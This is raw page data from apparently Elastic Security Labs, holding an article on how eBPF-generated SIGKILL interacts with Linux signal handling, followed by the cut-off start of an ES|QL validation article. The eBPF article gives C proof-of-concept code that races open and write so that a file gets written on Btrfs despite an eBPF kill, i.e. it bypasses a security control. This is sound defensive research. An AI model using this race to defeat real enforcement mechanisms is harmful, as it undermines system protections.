\",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L1003\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"complete_signal()\"})}),\" and we get there through the following stack:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`complete_signal() ^\n__send_signal_locked() |\nsend_signal_locked() |\ndo_send_sig_info() |\ngroup_send_sig_info() |\nbpf_send_signal() |\n\n\nstatic int __send_signal_locked(int sig, \n struct kernel_siginfo *info, struct task_struct *t, \n enum pid_type type, bool force)\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In our case, in \",(0,n.jsx)(e.code,{children:\"__send_signal_locked\"}),\": \",(0,n.jsx)(e.code,{children:\"sig\"}),\" is \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\", \",(0,n.jsx)(e.code,{children:\"info\"}),\" is \",(0,n.jsx)(e.code,{children:\"SEND_SIG_PRIV\"}),\", \",(0,n.jsx)(e.code,{children:\"t\"}),\" is the current task (the running thread), \",(0,n.jsx)(e.code,{children:\"type\"}),\" is \",(0,n.jsx)(e.code,{children:\"PIDTYPE_TGID\"}),\" and \",(0,n.jsx)(e.code,{children:\"force\"}),\" is true, which is always set when \",(0,n.jsx)(e.code,{children:\"info\"}),\" is \",(0,n.jsx)(e.code,{children:\"SEND_SIG_PRIV\"}),\", this means this is a signal originating from the kernel, not from some userland program.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.code,{children:\"__send_signal_locked(\"}),\") will register a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" as \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L1178\",rel:\"nofollow\",children:\"pending inside a structure of the current task\"}),\" (our \",(0,n.jsx)(e.code,{children:\"t\"}),\"), which is a process-wide structure shared by all tasks (pthreads) in this process (since we're using \",(0,n.jsx)(e.code,{children:\"PIDTYPE_TGID\"}),\"), and control is then passed to \",(0,n.jsx)(e.code,{children:\"complete_signal()\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" is a bit special in \",(0,n.jsx)(e.code,{children:\"complete_signal()\"}),\" as it is a fatal signal, the pending signal bit that was set in the shared structure of the process will then be \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L1065\",rel:\"nofollow\",children:\"replicated\"}),\" to a per-task pending set. This means a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" is marked as pending for every pthread of the current process.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.code,{children:\"complete_signal()\"}),\" then wakes up all threads via \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L768\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"signal_wake_up+signal_wake_up_state()\"})}),\" so that they can be terminated. Each thread must terminate on its own and send a signal politely asking the thread to \\u201Cplease exit next time instead of returning to userland\\u201D.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"In the \",(0,n.jsx)(e.code,{children:\"signal_wake_up()\"}),\" stack, a flag \",(0,n.jsx)(e.code,{children:\"TIG_SIGPENDING\"}),\" \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L772\",rel:\"nofollow\",children:\"will be set\"}),\", warning the task to check its pending signals. It might be that the thread is in userland at the time we try to wake it up, even worse it might be infinitely looping. In that case, it would not enter the kernel until the scheduler decides to preempt it or an interrupt fires. This case is avoided by forcing the thread to enter the kernel via \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/kernel/signal.c#L782\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"kick_process()\"})}),\", which sends an \",(0,n.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Inter-processor_interrupt\",rel:\"nofollow\",children:\"IPI\"}),\" to the remote CPU, forcing it to trap the process into the kernel, which will then try to return to userland, check \",(0,n.jsx)(e.code,{children:\"TIG_SIGPENDING\"}),\", find a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\", and terminate.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"voluntary-signal-checking\",children:\"Voluntary signal checking\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"While signals are only processed when returning to userland, checking if those signals are pending can be done anywhere. tmpfs, ext4, xfs, and many other filesystems will check if a fatal signal is pending before starting a write. If a fatal signal is pending, they will return an error to the caller, unwinding the system call stack up until the point of returning to userland, which then terminates the program as we've seen before. The voluntary check for tmpfs and ext4 write can be seen \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/mm/filemap.c#L3918\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"We can now reason what happens in tmpfs if we install an eBPF program that generates a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" early in kernel entry: the write would not be issued, as the signal would be noticed, and the operation aborted.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Btrfs doesn't behave like other filesystems, however. It doesn't check for signals before issuing a write or read further down the IO stack. When a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" is received, it completes the IO operation before terminating.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"We cannot prevent Btrfs from being able to write by generating a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" from an eBPF program when the program enters the write system call. Assuming this is what we would like to do, it\\u2019s logical to consider generating a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" earlier on \",(0,n.jsx)(e.code,{children:\"openat(2)\"}),\": this way we terminate the program much earlier, even before it has a chance to issue a write. Unfortunately, this is also unreliable, as demonstrated in the next section.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"racing-open--write-operations\",children:\"Racing open \u0026 write operations\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"If we generate the \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" in \",(0,n.jsx)(e.code,{children:\"openat(2)\"}),\", it is still possible to write to a file descriptor that would be returned, at least with Btrfs. The following \",(0,n.jsx)(e.a,{href:\"https://opensource.com/article/19/8/introduction-bpftrace\",rel:\"nofollow\",children:\"bpftrace\"}),\" line will install a tiny eBPF program on \",(0,n.jsx)(e.code,{children:\"vfs_open()\"}),\" that will generate a \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" and terminate any process trying to open the file named \",(0,n.jsx)(e.code,{children:\"__nowrite\"}),\".\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`bpftrace --unsafe -e 'kprobe:vfs_open /str(((struct path *)arg0)-\u003edentry-\u003ed_name.name) == \"__nowrite\"/ \n { signal(\"SIGKILL\") }'\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"It's still possible to race the kernel and write to the would-be file descriptor, meaning we can't rely on this mechanism to prevent the file from being modified even if we can terminate the process.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"It should be clear by now that the open operation happens, as discussed at the beginning of this article. A file can be created with the \",(0,n.jsx)(e.code,{children:\"O_CREAT\"}),\" flag, and then the effects that occur between the open operation and process termination are observable. The important observable effect is that the process file table is \",(0,n.jsx)(e.a,{href:\"https://elixir.bootlin.com/linux/v6.5.10/source/fs/open.c#L1412\",rel:\"nofollow\",children:\"populated\"}),\" just before it terminates.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The process file table is a per-process in-kernel table that maps file descriptor numbers to file objects. This is where, for example, file descriptor 1 refers to a file object representing standard output, so if userland calls \",(0,n.jsx)(e.code,{children:'write(1, \"foo\", strlen(\"foo\"))'}),\", the kernel will look for the object referenced by file descriptor 1 and call \",(0,n.jsx)(e.code,{children:\"vfs_write()\"}),\" on it. The file structure has callbacks that know how to write to standard output, we say this is the backing of the file descriptor.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"The general idea is to guess the file descriptor number that would be returned by an open operation and attempt to write to it before the process is terminated but after the open operation takes effect.\"}),`\n`,(0,n.jsx)(e.p,{children:\"The first trick is figuring out what the file descriptor number would be, this can be done with:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`int guessed_fd;\n\nguessed_fd = dup(0);\nclose(guessed_fd);\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"When a file descriptor is created via \",(0,n.jsx)(e.code,{children:\"dup(2)\"}),\", \",(0,n.jsx)(e.code,{children:\"open(2)\"}),\", \",(0,n.jsx)(e.code,{children:\"accept(2)\"}),\", \",(0,n.jsx)(e.code,{children:\"socket(2)\"}),\", or any other system call, it is guaranteed to use the lowest available number. If we \",(0,n.jsx)(e.code,{children:\"dup\"}),\" any file descriptor and close it, the next system-call-creating file descriptor will likely end up using the same index that we got from \",(0,n.jsx)(e.code,{children:\"dup(2)\"}),\" earlier. This isn\\u2019t necessarily true for multithreaded programs, as another thread might create a file descriptor and invalidate our guess. It\\u2019s because of these races that \",(0,n.jsx)(e.code,{children:\"dup2(2)\"}),\" exists, to allow multithreaded programs to have a race-free \",(0,n.jsx)(e.code,{children:\"dup\"}),\". Multithreading was a late addition to UNIX systems, so the old semantics of file descriptor numbering had to be preserved.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"This guessing is not necessary because we have a controlled environment. However, it is interesting because it could be used as the base block for an attack trying to exploit this race condition.\"}),`\n`,(0,n.jsx)(e.p,{children:\"Now that we have a target file descriptor, we can spawn a bunch of worker threads attempting to write to it!\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`/*\n * Guess the next file descriptor open will get\n */\nif ((fd = dup(0)) == -1)\n\terr(1, \"dup\");\nclose(fd);\n\n/*\n * Hammer Time, spawn a bunch of threads to write at the guessed fd,\n * they hammer it even before we open.\n */\nwhile (num_workers--)\n\tif (pthread_create(\u0026t_writer, NULL, writer, \u0026fd) == -1)\n\t\terr(1, \"pthread_create\");\n\n/* Give the workers some lead time */\nmsleep(10);\n\n/*\n * This should never return, since we are supposed to be SIGKILLed.\n * The race depends on the workers hitting the file descriptor after\n * open(2) succeeded (after fd_install()) but before\n * exit_to_user_mode()-\u003edo_group_exit().\n */\nfd = open(path, O_RDWR|O_CREAT, 0660);\nerrx(1, \"not killed, open returned fd %d\", fd);\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"The writer-worker code is as simple as you could expect:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`void *\nwriter(void *vpfd)\n{\n\tssize_t n;\n\tint fd = *(int *)vpfd;\n\n\t/*\n\t * We'll just hammer-write the guessed file descriptor, if we succeed\n\t * we just bail as the parent thread is about to do it anyway.\n\t */\n\twhile (1) {\n\t\tn = write(fd, SECRET, strlen(SECRET));\n\t\t/* We expect to get EBADFD mostly */\n\t\tif (n \u003c= 0) {\n\t\t\tcontinue;\n\t\t}\n\t\t/* Hooray, the file has been written */\n\t\tbreak;\n\t}\n\n\treturn (NULL);\n}\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The complete program is available \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/ebpf-sig-exp/blob/main/race-openwrite.c\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Most of the time we can't trigger the race condition and the program terminates with \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\". With enough attempts from running the program in a loop, though, we can hit the race in about a minute.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`truncate -s0 __nowrite\nuntil test -s __nowrite; do ./race-openwrite __nowrite; done\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"It's worth pointing out that this behavior is \",(0,n.jsx)(e.strong,{children:\"not\"}),\" a kernel bug in any way and is only reproducible in Btrfs. We've failed to trigger this race condition in other filesystems like ext4, tmpfs, and xfs as these implementations explicitly check for a fatal signal pending before proceeding with the write.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"other-effects\",children:\"Other Effects\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"We\\u2019ve talked about open and write, and we've also checked the behavior of attempting to block the effects of other system calls by generating \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\". In the table below, \",(0,n.jsx)(e.code,{children:\"BLOCKED\"}),\" means the effect did not occur. For example, unlink did not remove the file. As you can guess, \",(0,n.jsx)(e.code,{children:\"UNBLOCKED\"}),\" means the effect did occur \\u2013 unlink did remove the file. In both cases the program is always SIGKILLed, meaning our signal generation did occur.\"]}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"6.5.5-200.fc38.x86_64\"}),(0,n.jsx)(e.th,{children:\"Btrfs\"}),(0,n.jsx)(e.th,{children:\"tmpfs\"}),(0,n.jsx)(e.th,{children:\"Ext4\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"chmod(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"link(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"mknod(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"write(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"BLOCKED\"}),(0,n.jsx)(e.td,{children:\"BLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"race-open-write\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"BLOCKED\"}),(0,n.jsx)(e.td,{children:\"BLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"rename(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"truncate(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"unlink(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]})]})]})}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"6.1.55-75.123.amzn2023.aarch64\"}),(0,n.jsx)(e.th,{children:\"XFS\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"chmod(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"link(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"mknod(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"write(2)\"}),(0,n.jsx)(e.td,{children:\"BLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"race-open-write\"}),(0,n.jsx)(e.td,{children:\"BLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"rename(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"truncate(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"unlink(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]})]})]})}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Instruction\"}),(0,n.jsx)(e.th,{children:\"6.5.5-200.fc38.x86_64\"}),(0,n.jsx)(e.th,{children:\"6.1.55-75.123.amzn2023.aarch64\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"write(2) on a pipe(2)\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"}),(0,n.jsx)(e.td,{children:\"UNBLOCKED\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"fork(2)\"}),(0,n.jsx)(e.td,{children:\"BLOCKED\"}),(0,n.jsx)(e.td,{children:\"BLOCKED\"})]})]})]})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The same behavior is observed for all the equivalent \\u201Cat\\u201D system calls: \",(0,n.jsx)(e.code,{children:\"openat(2)\"}),\", \",(0,n.jsx)(e.code,{children:\"renameat(2)\"}),\"...\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"We\\u2019ve demonstrated some of the pitfalls of attempting to use \",(0,n.jsx)(e.code,{children:\"SIGKILL\"}),\" as a security mechanism from eBPF, while there are cases where it can be used reliably, those are delicate and require a deep understanding of the environment in which they are run. The key takeaways from this article are:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Signal generation from within eBPF is synchronous since it\\u2019s generated to-and-from the same process context\"}),`\n`,(0,n.jsx)(e.li,{children:\"Signals are processed in the kernel after the system call takes place\"}),`\n`,(0,n.jsx)(e.li,{children:\"Specific system calls and combinations will avoid starting an operation if a fatal signal is pending\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"We can\\u2019t reliably prevent a \",(0,n.jsx)(e.code,{children:\"write(2)\"}),\" on Btrfs, even if we kill the program before \",(0,n.jsx)(e.code,{children:\"open(2)\"}),\" returns from the kernel\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"While our research is thorough, these are delicate semantics that might depend on external factors. If you believe we\\u2019ve missed something please do not hesitate to contact us.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"If you\\u2019re interested in seeing more, the programs and scripts used in this research are public and available in \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/ebpf-sig-exp/\",rel:\"nofollow\",children:\"this repository\"}),\". Interested in learning more about the kernel? Check out \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks\",rel:\"nofollow\",children:\"this deep dive\"}),\" on call-stacks.\"]})]})}function _(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(d,t)})):d(t)}var L=_;return y(I);})();\n;return Component;"},"_id":"articles/signaling-from-within-how-ebpf-interacts-with-signals.mdx","_raw":{"sourceFilePath":"articles/signaling-from-within-how-ebpf-interacts-with-signals.mdx","sourceFileName":"signaling-from-within-how-ebpf-interacts-with-signals.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/signaling-from-within-how-ebpf-interacts-with-signals"},"type":"Article","imageUrl":"/assets/images/signaling-from-within-how-ebpf-interacts-with-signals/photo-edited-09@2x.jpg","readingTime":"19 min read","series":"","url":"/signaling-from-within-how-ebpf-interacts-with-signals","headings":[{"level":2,"title":"Background","href":"#background"},{"level":2,"title":"Motivation","href":"#motivation"},{"level":2,"title":"Scenario: blocking openat(2)","href":"#scenario-blocking-openat2"},{"level":2,"title":"Kernel handling of a SIGKILL","href":"#kernel-handling-of-a-sigkill"},{"level":2,"title":"Why post-process signals","href":"#why-post-process-signals"},{"level":2,"title":"Posting a SIGKILL from eBPF","href":"#posting-a-sigkill-from-ebpf"},{"level":2,"title":"Voluntary signal checking","href":"#voluntary-signal-checking"},{"level":2,"title":"Racing open \u0026 write operations","href":"#racing-open--write-operations"},{"level":2,"title":"Other Effects","href":"#other-effects"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Christiano Haesbaert","slug":"christiano-haesbaert","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,h=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of _(e))!h.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=f(e,a))||s.enumerable});return t};var b=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},i(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),d=t=\u003ei(o({},\"__esModule\",{value:!0}),t);var u=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};l(D,{default:()=\u003eM,frontmatter:()=\u003ep});var r=b(u()),p={title:\"Christiano Haesbaert\",slug:\"christiano-haesbaert\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var M=C;return d(D);})();\n;return Component;"},"_id":"authors/christiano-haesbaert.mdx","_raw":{"sourceFilePath":"authors/christiano-haesbaert.mdx","sourceFileName":"christiano-haesbaert.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/christiano-haesbaert"},"type":"Author","imageUrl":"","url":"/authors/christiano-haesbaert"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Streamlining ES|QL Query and Rule Validation: Integrating with GitHub CI","slug":"streamlining-esql-query-and-rule-validation","date":"2023-11-17","description":"ES|QL is Elastic's new piped query language. Taking full advantage of this new feature, Elastic Security Labs walks through how to run validation of ES|QL rules for the Detection Engine.","image":"photo-edited-01.png","body":{"raw":"\nOne of the amazing, recently premiered [8.11.0 features](https://www.elastic.co/guide/en/elasticsearch/reference/current/release-highlights.html), is the Elasticsearch Query Language ([ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html)). As highlighted in an earlier [post by Costin Leau](https://www.elastic.co/blog/elasticsearch-query-language-esql), it’s a full-blown, specialized query and compute engine for Elasitcsearch. Now that it’s in technical preview, we wanted to share some options to _validate_ your ES|QL queries. This overview is for engineers new to ES|QL. Whether you’re searching for insights in Kibana or investigating security threats in [Timelines](https://www.elastic.co/guide/en/security/current/timelines-ui.html), you’ll see how this capability is seamlessly interwoven throughout Elastic. \n\n## ES|QL validation basics ft. Kibana \u0026 Elasticsearch\n\nIf you want to quickly validate a single query, or feel comfortable manually testing queries one-by-one, the Elastic Stack UI is all you need. After navigating to the Discover tab in Kibana, click on the \"**Try ES|QL**\" Technical Preview button in the Data View dropdown to load the query pane. You can also grab sample queries from the [ES|QL Examples](https://www.elastic.co/guide/en/elasticsearch/reference/master/esql-examples.html) to get up and running. Introducing non-[ECS](https://www.elastic.co/guide/en/ecs/current/index.html) fields will immediately highlight errors prioritizing syntax errors, then unknown column errors. \n\n\n\nIn this example, there are two syntax errors that are highlighted: \n* the invalid syntax error on the input `wheres` which should be `where` and \n* the unknown column `process.worsking_directory`, which should be `process.working_directory`. \n\n\n\nAfter resolving the syntax error in this example, you’ll observe the Unknown column errors. Here are a couple reasons this error may appear: \n\n - **Fix Field Name Typos**: Sometimes you simply need to fix the name as suggested in the error; consult the ECS or any integration schemas and confirm the fields are correct\n - **Add Missing Data**: If you’re confident the fields are correct, sometimes adding data to your stack, which will populate the columns\n - **Update Mapping**: You can configure [Mappings](https://www.elastic.co/guide/en/elasticsearch/reference/8.11/mapping.html) to set explicit fields, or add new fields to an existing data stream or index using the [Update Mapping API](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-put-mapping.html) \n\n## ES|QL warnings\n\nNot all fields will appear as errors, in which case you’re presented with warnings and a dropdown list. Hard failures (e.g. errors), imply that the rule cannot execute, whereas warnings indicate that the rule can run, but the functions may be degraded. \n\n\n\nWhen utilizing broad ES|QL queries that span multiple indices, such as `logs-* | limit 10`, there might be instances where certain fields fail to appear in the results. This is often due to the fields being undefined in the indexed data, or not yet supported by ES|QL. In cases where the expected fields are not retrieved, it's typically a sign that the data was ingested into Elasticsearch without these fields being indexed, as per the established mappings. Instead of causing the query to fail, ES|QL handles this by returning \"null\" for the unavailable fields, serving as a warning that something in the query did not execute as expected. This approach ensures the query still runs, distinguishing it from a hard failure, which occurs when the query cannot execute at all, such as when a non-existent field is referenced. \n\n\n\nThere are also helpful performance warnings that may appear. Providing a `LIMIT` parameter to the query will help address performance warnings. Note this example highlights that there is a default limit of 500 events returned. This limit may significantly increase once this feature is generally available. \n\n## Security \n\nIn an investigative workflow, security practitioners prefer to iteratively hunt for threats, which may encompass manually testing, refining, and tuning a query in the UI. Conveniently, security analysts and engineers can natively leverage ES|QL in timelines, with no need to interrupt workflows by pivoting back and forth to a different view in Kibana. You’ll receive the same errors and warnings in the same security component, which shows Elasticsearch feedback under the hood.\n\n\n\nIn some components, you will receive additional feedback based on the context of where ES|QL is implemented. One scenario is when you create an ES|QL rule using the create new rule feature under the Detection Rules (SIEM) tab.\n\n\n\nFor example, this query could easily be converted to an [EQL](https://www.elastic.co/guide/en/elasticsearch/reference/current/eql.html) or [KQL](https://www.elastic.co/guide/en/kibana/current/kuery-query.html) query as it does not leverage powerful features of ES|QL like statistics, frequency analysis, or parsing unstructured data. If you want to learn more about the benefits of queries using ES|QL check out this [blog by Costin](https://www.elastic.co/blog/elasticsearch-query-language-esql), which covers performance boosts. In this case, we must add `[metadata _id, _version, _index]` to the query, which informs the UI which components to return in the results.\n\n## API calls? Of course!\n\nPrior to this section, all of the examples referenced creating ES|QL queries and receiving feedback directly from the UI. For illustrative purposes, the following examples leverage Dev Tools, but these calls are easily migratable to cURL bash commands or the language / tool of your choice that can send an HTTP request.\n\n\n\nHere is the same query as previously shown throughout other examples, sent via a POST request to the [query API](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql-query-api.html) with a valid query. \n\n\n\nAs expected, if you supply an invalid query, you’ll receive similar feedback observed in the UI. In this example, we’ve also supplied the `?error_trace` flag which can provide the stack trace if you need additional context for why the query failed validation. \n\nAs you can imagine, we can use the API to programmatically validate ES|QL queries. You can also still use the [Create rule](https://www.elastic.co/guide/en/kibana/current/create-rule-api.html) Kibana API, which requires a bit more metadata associated with a security rule. However, if you want to only validate a query, the `_query` API comes in handy. From here you can use the [Elasticsearch Python Client](https://www.elastic.co/guide/en/elasticsearch/client/python-api/current/index.html) to connect to your stack and validate queries.\n\n```\nfrom elasticsearch import Elasticsearch\nclient = Elasticsearch(...)\ndata = {\n\"query\": \"\"\"\n from 